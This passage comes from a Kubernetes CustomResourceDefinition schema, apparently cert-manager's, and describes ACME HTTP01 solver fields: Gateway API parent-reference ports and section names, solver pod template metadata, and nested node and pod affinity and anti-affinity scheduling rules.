                                            Port is the network port this Route targets. It can be interpreted
                                            differently based on the type of parent resource.

                                            When the parent resource is a Gateway, this targets all listeners
                                            listening on the specified port that also support this kind of Route(and
                                            select this Route). It's not recommended to set `Port` unless the
                                            networking behaviors specified in a Route must apply to a specific port
                                            as opposed to a listener(s) whose port(s) may be changed. When both Port
                                            and SectionName are specified, the name and port of the selected listener
                                            must match both specified values.

                                            <gateway:experimental:description>
                                            When the parent resource is a Service, this targets a specific port in the
                                            Service spec. When both Port (experimental) and SectionName are specified,
                                            the name and port of the selected port must match both specified values.
                                            </gateway:experimental:description>

                                            Implementations MAY choose to support other parent resources.
                                            Implementations supporting other types of parent resources MUST clearly
                                            document how/if Port is interpreted.

                                            For the purpose of status, an attachment is considered successful as
                                            long as the parent resource accepts it partially. For example, Gateway
                                            listeners can restrict which Routes can attach to them by Route kind,
                                            namespace, or hostname. If 1 of 2 Gateway listeners accept attachment
                                            from the referencing Route, the Route MUST be considered successfully
                                            attached. If no Gateway listeners accept attachment from this Route,
                                            the Route MUST be considered detached from the Gateway.

                                            Support: Extended
                                          format: int32
                                          maximum: 65535
                                          minimum: 1
                                          type: integer
                                        sectionName:
                                          description: |-
                                            SectionName is the name of a section within the target resource. In the
                                            following resources, SectionName is interpreted as the following:

                                            * Gateway: Listener name. When both Port (experimental) and SectionName
                                            are specified, the name and port of the selected listener must match
                                            both specified values.
                                            * Service: Port name. When both Port (experimental) and SectionName
                                            are specified, the name and port of the selected listener must match
                                            both specified values.

                                            Implementations MAY choose to support attaching Routes to other resources.
                                            If that is the case, they MUST clearly document how SectionName is
                                            interpreted.

                                            When unspecified (empty string), this will reference the entire resource.
                                            For the purpose of status, an attachment is considered successful if at
                                            least one section in the parent resource accepts it. For example, Gateway
                                            listeners can restrict which Routes can attach to them by Route kind,
                                            namespace, or hostname. If 1 of 2 Gateway listeners accept attachment from
                                            the referencing Route, the Route MUST be considered successfully
                                            attached. If no Gateway listeners accept attachment from this Route, the
                                            Route MUST be considered detached from the Gateway.

                                            Support: Core
                                          maxLength: 253
                                          minLength: 1
                                          pattern: ^[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*$
                                          type: string
                                      required:
                                      - name
                                      type: object
                                    type: array
                                  podTemplate:
                                    description: |-
                                      Optional pod template used to configure the ACME challenge solver pods
                                      used for HTTP01 challenges.
                                    properties:
                                      metadata:
                                        description: |-
                                          ObjectMeta overrides for the pod used to solve HTTP01 challenges.
                                          Only the 'labels' and 'annotations' fields may be set.
                                          If labels or annotations overlap with in-built values, the values here
                                          will override the in-built values.
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            description: Annotations that should be
                                              added to the created ACME HTTP01 solver
                                              pods.
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            description: Labels that should be added
                                              to the created ACME HTTP01 solver pods.
                                            type: object
                                        type: object
                                      spec:
                                        description: |-
                                          PodSpec defines overrides for the HTTP01 challenge solver pod.
                                          Check ACMEChallengeSolverHTTP01IngressPodSpec to find out currently supported fields.
                                          All other fields will be ignored.
                                        properties:
                                          affinity:
                                            description: If specified, the pod's scheduling
                                              constraints
                                            properties:
                                              nodeAffinity:
                                                description: Describes node affinity
                                                  scheduling rules for the pod.
                                                properties:
                                                  preferredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      The scheduler will prefer to schedule pods to nodes that satisfy
                                                      the affinity expressions specified by this field, but it may choose
                                                      a node that violates one or more of the expressions. The node that is
                                                      most preferred is the one with the greatest sum of weights, i.e.
                                                      for each node that meets all of the scheduling requirements (resource
                                                      request, requiredDuringScheduling affinity expressions, etc.),
                                                      compute a sum by iterating through the elements of this field and adding
                                                      "weight" to the sum if the node matches the corresponding matchExpressions; the
                                                      node(s) with the highest sum are the most preferred.
                                                    items:
                                                      description: |-
                                                        An empty preferred scheduling term matches all objects with implicit weight 0
                                                        (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                                      properties:
                                                        preference:
                                                          description: A node selector
                                                            term, associated with
                                                            the corresponding weight.
                                                          properties:
                                                            matchExpressions:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's labels.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchFields:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's fields.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        weight:
                                                          description: Weight associated
                                                            with matching the corresponding
                                                            nodeSelectorTerm, in the
                                                            range 1-100.
                                                          format: int32
                                                          type: integer
                                                      required:
                                                      - preference
                                                      - weight
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  requiredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      If the affinity requirements specified by this field are not met at
                                                      scheduling time, the pod will not be scheduled onto the node.
                                                      If the affinity requirements specified by this field cease to be met
                                                      at some point during pod execution (e.g. due to an update), the system
                                                      may or may not try to eventually evict the pod from its node.
                                                    properties:
                                                      nodeSelectorTerms:
                                                        description: Required. A list
                                                          of node selector terms.
                                                          The terms are ORed.
                                                        items:
                                                          description: |-
                                                            A null or empty node selector term matches no objects. The requirements of
                                                            them are ANDed.
                                                            The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                          properties:
                                                            matchExpressions:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's labels.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchFields:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's fields.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    required:
                                                    - nodeSelectorTerms
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                type: object
                                              podAffinity:
                                                description: Describes pod affinity
                                                  scheduling rules (e.g. co-locate
                                                  this pod in the same node, zone,
                                                  etc. as some other pod(s)).
                                                properties:
                                                  preferredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      The scheduler will prefer to schedule pods to nodes that satisfy
                                                      the affinity expressions specified by this field, but it may choose
                                                      a node that violates one or more of the expressions. The node that is
                                                      most preferred is the one with the greatest sum of weights, i.e.
                                                      for each node that meets all of the scheduling requirements (resource
                                                      request, requiredDuringScheduling affinity expressions, etc.),
                                                      compute a sum by iterating through the elements of this field and adding
                                                      "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                      node(s) with the highest sum are the most preferred.
                                                    items:
                                                      description: The weights of
                                                        all of the matched WeightedPodAffinityTerm
                                                        fields are added per-node
                                                        to find the most preferred
                                                        node(s)
                                                      properties:
                                                        podAffinityTerm:
                                                          description: Required. A
                                                            pod affinity term, associated
                                                            with the corresponding
                                                            weight.
                                                          properties:
                                                            labelSelector:
                                                              description: |-
                                                                A label query over a set of resources, in this case pods.
                                                                If it's null, this PodAffinityTerm matches with no Pods.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            matchLabelKeys:
                                                              description: |-
                                                                MatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                                Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            mismatchLabelKeys:
                                                              description: |-
                                                                MismatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                                Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            namespaceSelector:
                                                              description: |-
                                                                A label query over the set of namespaces that the term applies to.
                                                                The term is applied to the union of the namespaces selected by this field
                                                                and the ones listed in the namespaces field.
                                                                null selector and null or empty namespaces list means "this pod's namespace".
                                                                An empty selector ({}) matches all namespaces.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            namespaces:
                                                              description: |-
                                                                namespaces specifies a static list of namespace names that the term applies to.
                                                                The term is applied to the union of the namespaces listed in this field
                                                                and the ones selected by namespaceSelector.
                                                                null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            topologyKey:
                                                              description: |-
                                                                This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                                the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                                whose value of the label with key topologyKey matches that of any node on which any of the
                                                                selected pods is running.
                                                                Empty topologyKey is not allowed.
                                                              type: string
                                                          required:
                                                          - topologyKey
                                                          type: object
                                                        weight:
                                                          description: |-
                                                            weight associated with matching the corresponding podAffinityTerm,
                                                            in the range 1-100.
                                                          format: int32
                                                          type: integer
                                                      required:
                                                      - podAffinityTerm
                                                      - weight
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  requiredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      If the affinity requirements specified by this field are not met at
                                                      scheduling time, the pod will not be scheduled onto the node.
                                                      If the affinity requirements specified by this field cease to be met
                                                      at some point during pod execution (e.g. due to a pod label update), the
                                                      system may or may not try to eventually evict the pod from its node.
                                                      When there are multiple elements, the lists of nodes corresponding to each
                                                      podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                                    items:
                                                      description: |-
                                                        Defines a set of pods (namely those matching the labelSelector
                                                        relative to the given namespace(s)) that this pod should be
                                                        co-located (affinity) or not co-located (anti-affinity) with,
                                                        where co-located is defined as running on a node whose value of
                                                        the label with key <topologyKey> matches that of any node on which
                                                        a pod of the set of pods is running
                                                      properties:
                                                        labelSelector:
                                                          description: |-
                                                            A label query over a set of resources, in this case pods.
                                                            If it's null, this PodAffinityTerm matches with no Pods.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        matchLabelKeys:
                                                          description: |-
                                                            MatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                            Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        mismatchLabelKeys:
                                                          description: |-
                                                            MismatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                            Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        namespaceSelector:
                                                          description: |-
                                                            A label query over the set of namespaces that the term applies to.
                                                            The term is applied to the union of the namespaces selected by this field
                                                            and the ones listed in the namespaces field.
                                                            null selector and null or empty namespaces list means "this pod's namespace".
                                                            An empty selector ({}) matches all namespaces.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        namespaces:
                                                          description: |-
                                                            namespaces specifies a static list of namespace names that the term applies to.
                                                            The term is applied to the union of the namespaces listed in this field
                                                            and the ones selected by namespaceSelector.
                                                            null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        topologyKey:
                                                          description: |-
                                                            This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                            the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                            whose value of the label with key topologyKey matches that of any node on which any of the
                                                            selected pods is running.
                                                            Empty topologyKey is not allowed.
                                                          type: string
                                                      required:
                                                      - topologyKey
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                              podAntiAffinity:
                                                description: Describes pod anti-affinity
                                                  scheduling rules (e.g. avoid putting
                                                  this pod in the same node, zone,
                                                  etc. as some other pod(s)).
                                                properties:
                                                  preferredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      The scheduler will prefer to schedule pods to nodes that satisfy
                                                      the anti-affinity expressions specified by this field, but it may choose
                                                      a node that violates one or more of the expressions. The node that is
                                                      most preferred is the one with the greatest sum of weights, i.e.
                                                      for each node that meets all of the scheduling requirements (resource
                                                      request, requiredDuringScheduling anti-affinity expressions, etc.),
                                                      compute a sum by iterating through the elements of this field and adding
                                                      "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                      node(s) with the highest sum are the most preferred.
                                                    items:
                                                      description: The weights of
                                                        all of the matched WeightedPodAffinityTerm
                                                        fields are added per-node
                                                        to find the most preferred
                                                        node(s)
                                                      properties:
                                                        podAffinityTerm:
                                                          description: Required. A
                                                            pod affinity term, associated
                                                            with the corresponding
                                                            weight.
                                                          properties:
                                                            labelSelector:
                                                              description: |-
                                                                A label query over a set of resources, in this case pods.
                                                                If it's null, this PodAffinityTerm matches with no Pods.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            matchLabelKeys:
                                                              description: |-
                                                                MatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                                Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            mismatchLabelKeys:
                                                              description: |-
                                                                MismatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                                Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            namespaceSelector:
                                                              description: |-
                                                                A label query over the set of namespaces that the term applies to.
                                                                The term is applied to the union of the namespaces selected by this field
                                                                and the ones listed in the namespaces field.
                                                                null selector and null or empty namespaces list means "this pod's namespace".
                                                                An empty selector ({}) matches all namespaces.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            namespaces:
                                                              description: |-
                                                                namespaces specifies a static list of namespace names that the term applies to.
                                                                The term is applied to the union of the namespaces listed in this field
                                                                and the ones selected by namespaceSelector.
                                                                null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            topologyKey:
                                                              description: |-
                                                                This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                                the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                                whose value of the label with key topologyKey matches that of any node on which any of the
                                                                selected pods is running.
                                                                Empty topologyKey is not allowed.
                                                              type: string
                                                          required:
                                                          - topologyKey
                                                          type: object
                                                        weight:
                                                          description: |-
                                                            weight associated with matching the corresponding podAffinityTerm,
                                                            in the range 1-100.
                                                          format: int32
                                                          type: integer
                                                      required:
                                                      - podAffinityTerm
                                                      - weight
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  requiredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      If the anti-affinity requirements specified by this field are not met at
                                                      scheduling time, the pod will not be scheduled onto the node.
                                                      If the anti-affinity requirements specified by this field cease to be met
                                                      at some point during pod execution (e.g. due to a pod label update), the
                                                      system may or may not try to eventually evict the pod from its node.
                                                      When there are multiple elements, the lists of nodes corresponding to each
                                                      podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                                    items:
                                                      description: |-
                                                        Defines a set of pods (namely those matching the labelSelector
                                                        relative to the given namespace(s)) that this pod should be
                                                        co-located (affinity) or not co-located (anti-affinity) with,
                                                        where co-located is defined as running on a node whose value of
                                                        the label with key <topologyKey> matches that of any node on which
                                                        a pod of the set of pods is running
                                                      properties:
                                                        labelSelector:
                                                          description: |-
                                                            A label query over a set of resources, in this case pods.
                                                            If it's null, this PodAffinityTerm matches with no Pods.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
